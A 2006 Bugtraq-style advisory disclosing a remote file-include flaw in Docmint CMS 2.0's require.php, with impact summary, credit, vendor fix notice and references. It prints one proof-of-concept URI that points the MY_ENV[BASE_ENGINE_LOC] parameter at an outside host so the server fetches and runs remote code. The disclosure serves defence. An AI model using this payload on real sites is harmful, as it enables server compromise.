Docmint Required.php Remote File Include Vulnerability

Bugtraq ID:	20409
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Oct 09 2006 12:00AM
Updated:	Nov 07 2006 05:57PM
Credit:	M.Hasran Addahroni is credited with the discovery of this vulnerability.
Vulnerable:	Docmint Docmint CMS 2.0
Not Vulnerable:

Docmint Required.php Remote File Include Vulnerability

Docmint is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects Docmint 2.0 and prior versions; other versions may also be affected.

Docmint Required.php Remote File Include Vulnerability

An attacker can exploit this issue via a web client.

The following proof-of-concept URI is available:

http://www.example.com/[docmint_path]/engine/require.php?MY_ENV[BASE_ENGINE_LOC]=http://www.example.com?

Docmint Required.php Remote File Include Vulnerability

Solution:
The vendor has released a fix for this issue. Please see the references for information on how to obtain and apply this fix.

Docmint Required.php Remote File Include Vulnerability

References:

• DocMint Download Page (DocMint)
  
• Docmint Homepage (Docmint)
  
• fixing security hole in require.php (DocMint)
  
• [ECHO_ADV_51$2006] docmint <= 2.0 (MY_ENV[BASE_ENGINE_LOC] ([email protected])